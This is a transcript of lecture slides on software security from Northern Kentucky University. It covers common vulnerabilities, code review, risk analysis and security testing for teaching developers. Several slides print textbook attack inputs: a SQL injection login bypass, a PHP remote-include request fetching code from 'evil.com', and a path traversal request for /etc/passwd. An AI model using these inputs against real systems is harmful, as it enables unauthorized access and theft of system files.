James Walden Northern Kentucky University

Slides:



Advertisements
Similar presentations
Network Security Attack Analysis. cs490ns - cotter2 Outline Types of Attacks Vulnerabilities Exploited Network Attack Phases Attack Detection Tools.
Advertisements

Creating Stronger, Safer, Web Facing Code JPL IT Security Mary Rivera June 17, 2011.
August 1, 2006 XP Security. August 1, 2006 Comparing XP and Security Goals XP GOALS User stories No BDUF Refactoring Continuous integration Simplicity.
August 1, 2006 Software Security. August 1, 2006 Essential Facts Software Security != Security Features –Cryptography will not make you secure. –Application.
It’s always better live. MSDN Events Security Best Practices Part 2 of 2 Reducing Vulnerabilities using Visual Studio 2008.
James Walden, Maureen Doyle Northern Kentucky University Students: Andrew Plunkett, Rob Lenhof, John Murray.
Information Networking Security and Assurance Lab National Chung Cheng University The Ten Most Critical Web Application Security Vulnerabilities Ryan J.W.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Information Networking Security and Assurance Lab National Chung Cheng University 1 Top Vulnerabilities in Web Applications (I) Unvalidated Input:  Information.
Security Engineering II. Problem Sources 1.Requirements definitions, omissions, and mistakes 2.System design flaws 3.Hardware implementation flaws, such.
Software Security Course Course Outline Course Overview Introduction to Software Security Common Attacks and Vulnerabilities Overview of Security.
Presenter Deddie Tjahjono.  Introduction  Website Application Layer  Why Web Application Security  Web Apps Security Scanner  About  Feature  How.
Web Application Vulnerabilities Checklist. EC-Council Parameter Checklist  URL request  URL encoding  Query string  Header  Cookie  Form field 
Web Security Demystified Justin C. Klein Keane Sr. InfoSec Specialist University of Pennsylvania School of Arts and Sciences Information Security and Unix.
CSCE 548 Secure Software Development Risk-Based Security Testing.
Lets Make our Web Applications Secure. Dipankar Sinha Project Manager Infrastructure and Hosting.
+ Websites Vulnerabilities. + Content Expand of The Internet Use of the Internet Examples Importance of the Internet How to find Security Vulnerabilities.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
March 4, 2008 ISACA Web Application Security James Walden Northern Kentucky University
Penetration Testing James Walden Northern Kentucky University.
A Security Review Process for Existing Software Applications
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
May 2, 2007St. Cloud State University Software Security.
Web 2.0 Security James Walden Northern Kentucky University.
August 1, The Software Security Problem August 1, 2006.
OSI and TCP/IP Models And Some Vulnerabilities AfNOG th May 2011 – 10 th June 2011 Tanzania By Marcus K. G. Adomey.
Cross-Site Attacks James Walden Northern Kentucky University.
Top Five Web Application Vulnerabilities Vebjørn Moen Selmersenteret/NoWires.org Norsk Kryptoseminar Trondheim
SIGITE 2008: Oct Integrating Web Application Security into the IT Curriculum James Walden Northern Kentucky University.
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Web Security.
APPLICATION PENETRATION TESTING Author: Herbert H. Thompson Presentation by: Nancy Cohen.
1 ITGD 2202 Supervision:- Assistant Professor Dr. Sana’a Wafa Al-Sayegh Dr. Sana’a Wafa Al-SayeghStudent: Anwaar Ahmed Abu-AlQumboz.
October 3, 2008IMI Security Symposium Application Security through a Hacker’s Eyes James Walden Northern Kentucky University
CSCE 548 Secure Software Development Taxonomy of Coding Errors.
Input Validation – common associated risks  ______________ user input controls SQL statements ultimately executed by a database server
nd Joint Workshop between Security Research Labs in JAPAN and KOREA Marking Scheme for Semantic- aware Web Application Security HPC.
Code Reviews James Walden Northern Kentucky University.
Web Security Group 5 Adam Swett Brian Marco. Why Web Security? Web sites and web applications constantly growing Complex business applications are now.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
OWASP Building Secure Web Applications And the OWASP top 10 vulnerabilities.
Module: Software Engineering of Web Applications Chapter 3 (Cont.): user-input-validation testing of web applications 1.
Example – SQL Injection MySQL & PHP code: // The next instruction prompts the user is to supply an ID $personID = getIDstringFromUser(); $sqlQuery = "SELECT.
By Ramesh Mannava.  Overview  Introduction  10 secure software engineering topics  Agile development with security development activities  Conclusion.
CompTIA Security+ Question Answer SY Detaille of CompTIA SY0-401 Pass4sure.. VENDOR COMPTIA EXAM NAME COMPTIA SECURITY+ EXAM CODE SY0-401 TOTAL.
Web Security (cont.) 1. Referral issues r HTTP referer (originally referrer) – HTTP header that designates calling resource  Page on which a link is.
Application Communities
Module: Software Engineering of Web Applications
Building Secure ColdFusion Applications
CSCE 548 Secure Software Development Risk-Based Security Testing
Module: Software Engineering of Web Applications
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
Chapter 7: Identifying Advanced Attacks
TOPIC: Web Security (Part-4)
Execution with Unnecessary Privileges
Common Methods Used to Commit Computer Crimes
World Wide Web policy.
Software Security Testing
CS 371 Web Application Programming
Secure Software Confidentiality Integrity Data Security Authentication
Software Security ITGD 2202 Supervision:- Assistant Professor
Failure to protect stored data
A Security Review Process for Existing Software Applications
Marking Scheme for Semantic-aware Web Application Security
Cross Sight scripting: Type-2
PHP: Security issues FdSc Module 109 Server side scripting and
WWW安全 國立暨南國際大學 資訊管理學系 陳彥錚.
CS5123 Software Validation and Quality Assurance
Security Principles and Policies CS 236 On-Line MS Program Networks and Systems Security Peter Reiher.
Exploring DOM-Based Cross Site Attacks
Presentation transcript:

James Walden Northern Kentucky University Software Security James Walden Northern Kentucky University

Speaker Biography Assistant Professor at NKU Interests: security, software engineering. Offerings: certificate in secure software engineering. Industrial experience (CMU, Intel) Secure web applications. Secure UNIX applications. Security administration (UNIX, network).

Traditional Security is Reactive Perimeter defense (firewalls) Intrusion detection Over-reliance on cryptography Penetrate and patch Penetration testing

The Problem is Software “75 percent of hacks happen at the application.” Theresa Lanowitz, Gartner Inc.

John Viega & Gary McGraw Hackers “Malicious hackers don’t create security holes; they simply exploit them. Security holes and vulnerabilities – the real root cause of the problem – are the result of bad software design and implementation.” John Viega & Gary McGraw

Developers Aren’t Ready “64% of developers are not confident in their ability to write secure applications” Bill Gates, RSA 2005

Discover flaws after deployment. Penetrate and Patch Discover flaws after deployment. Often by attackers. Users may not deploy patches. Patches may have security flaws (15%?) Patches are maps to vulnerabilities. Attackers reverse engineer to create attacks.

A Growing Problem

CVE Top 5 Vulnerabilities Cross-site Scripting SQL Injection PHP Includes Buffer Overflows Path Traversal

CVE #1: Cross-site Scripting Attacker causes a legitimate web server to send user executable content (Javascript, Flash ActiveScript) of attacker’s choosing. Typical Goal: obtain user auth cookies for Bank site (transfer money to attacker) Shopping site (buy goods for attacker) E-mail

Anatomy of an XSS Attack Web Server 8. Attacker uses stolen cookie to hijack user session. 1. Login 2. Cookie User Attacker 5. XSS URL 3. XSS Attack 6. Page with injected code. 7. Browser runs injected code. 4. User clicks on XSS link. Evil Site saves cookie.

CVE #2: SQL Injection Web applications pass parameters when accessing a SQL database. If an attacker can embed malicious commands in these parameters, the external system may execute those commands on behalf of the web application. $sql = “SELECT count(*) from users where username = ‘$username’ and password = ‘$password’”; Unauthorized Access Attempt: password = ’ or 1=1 -- SQL statement becomes: select count(*) from users where username = ‘user’ and password = ‘’ or 1=1 -- Checks if password is ‘’ OR 1=1, which is true.

CVE #3: PHP Includes A PHP product uses "require" or "include" statements, or equivalent statements, that use attacker-controlled data to identify code or HTML to be directly processed by the PHP interpreter before inclusion in the script. <?php //config.php $server_root = '/my/path'; ?> <?php //include.php include($server_root . '/someotherfile.php'); <?php // index.php include('config.php'); include('include.php'); // Script body ?> Example from “The #1 Flaw in PHP Applications,” http://opensource.apress.com/article/7/the-1-security-flaw-in-php-applications, 2006. GET /include.php?server_root=http://evil.com/command.txt?

CVE #4: Buffer Overflows A program accepts too much input and stores it in a fixed length buffer that’s too small. char A[8]; short B; A B 3 gets(A); A B o v e r f l w s

CVE #5: Directory Traversal The software, when constructing file or directory names from input, does not properly cleanse special character sequences that resolve to a file or directory name that is outside of a restricted directory. $filename = “/usr/local/www/template/$usertemp”; open TEMP, $filename; while (<TEMP>) { print; } GET /vulnerable?usertemp=../../../../etc/passwd

Essential Facts Software Security ≠ Security Features Cryptography will not make you secure. Application firewalls will not make you secure. 50/50 Architecture/Implementation Problems An Emergent Property of Software Like Usability or Reliability Not a Feature

Security Problems SECURITY BUGS ARCHITECTURAL FLAWS 50% 50% Buffer overflow Command injection Cross-site scripting Integer overflow Race condition ARCHITECTURAL FLAWS 50% Cryptography misuse Lack of compartmentalization More privilege than necessary Relying on secret algorithms Usability problems

Security as Risk Management Helps communicate security need to customer. Cost of security vs. amount of potential losses. No system is 100% secure. Some risks aren’t cost effective to mitigate. Humans make mistakes. New types of vulnerabilities are discovered.

Risk Management What assets are you trying to protect? What are the risks to those assets? Which risks do we need to mitigate? What security measures would mitigate those risks? Which of those measures is most effective, when considering cost, side effects, etc.?

Software Security Practices Code Reviews Risk Analysis Penetration Testing Security Testing Abuse Cases Security Operations Security Operations Requirements Design Coding Testing Maintenance Risk Analysis Abuse Cases Code Reviews + Static Analysis Penetration

Code Reviews Find defects sooner in development lifecycle. (IBM finds 82% of defects before testing.) Find defects with less effort than testing. (IBM—review: 3.5 hrs/bug, testing: 15-25 hrs/bug.) Find different defects than testing. (Can identify some design problems too.) Educate developers about security bugs. (Developers frequently make the same mistakes.)

Code Review Tips Know your limits. Typical review speed is 150-200 lines/hour. Limit meeting length to 1-2 hours. Know what bugs to look for. Checklists Static analysis tools Require preparation before the meeting.

Code Review Problems Requires substantial expertise in area of coding and security to be effective. Human readers are fallible, and will miss mistakes.

Static Analysis Tools Automated assistance for code reviews Speed: review code faster than humans can Accuracy: 100s of secure coding rules False Positives Tool reports bugs in code that aren’t there. Complex control or data flow can confuse tools. False Negatives Tool fails to discover bugs that are there. Code complexity or lack of rules to check. Tainting in perl/ruby.

Architectural Risk Analysis Fix design flaws, not implementation bugs. Risk analysis steps Develop an architecture model. Identify threats and possible vulnerabilities. Develop attack scenarios. Rank risks based on probability and impact. Develop mitigation strategy. Report findings

Architecture Model Background materials Use scenarios (use cases, user stories) External dependencies (web server, db, libs, OS) Security assumptions (external auth security, &c) User security notes Determine system boundaries / trust levels Boundaries between components. Trust level of each component. Sensitivity of data flows between components.

Level 0 Data Flow Diagram

Penetration Testing Test software in deployed environment. Allocate time at end of development to test. Often time-boxed: test for n days. Schedule slips often reduce testing time. Fixing flaws is expensive late in lifecycle. Penetration testing tools Test common vulnerability types against inputs. Fuzzing: send random data to inputs. Don’t understand application structure or purpose.

Security Testing Injection flaws, buffer overflows, XSS, etc. Functional testing will find missing functionality. Intendended Functionality Actual Functionality

Security Testing Two types of testing Functional: verify security mechanisms. Adversarial: verify resistance to attacks generated during risk analysis. Different from traditional penetration testing White box. Use risk analysis to build tests. Measure security against risk model.

Abuse Cases Anti-requirements Think explicitly about what software should not do. A use case from an adversary’s point of view. Obtain Another User’s CC Data. Alter Item Price. Deny Service to Application. Developing abuse cases Informed brainstorming: attack patterns, risks.

Security Operations User security notes Incident response Software should be secure by default. Enabling certain features/configs may have risks. User needs to be informed of security risks. Incident response What happens when a vulnerability is reported? How do you communicate with users? How do you send updates to users?

Going Further Books Web Sites Gary McGraw, Software Security, Addison-Wesley, 2006. Michael Howard and Steve Lipner, The Security Development Lifecycle, Microsoft Press, 2006. Michael Howard, David LeBlanc, and John Viega, 19 Deadly Sins of Software Security, McGraw-Hill Osborne, 2005. Web Sites Build Security In https://buildsecurityin.us-cert.gov/daisy/bsi/home.html Fortify’s Vulnerability Catalog http://vulncat.fortifysoftware.com/

Conclusions Software Security ≠ Security Features Security is emergent feature of software like reliability. Cryptography, authentication, etc. will not make you secure. 50/50 Architecture/Implementation Problems Use Risk Analysis for architecture flaws. Use Code Reviews for implementation bugs. Security Testing Penetration testing can’t tell you how secure your software is. Use Risk Analysis to drive white box security testing. Vulnerabilities Web: XSS, SQL injection, PHP include General: buffer overflow, path traversal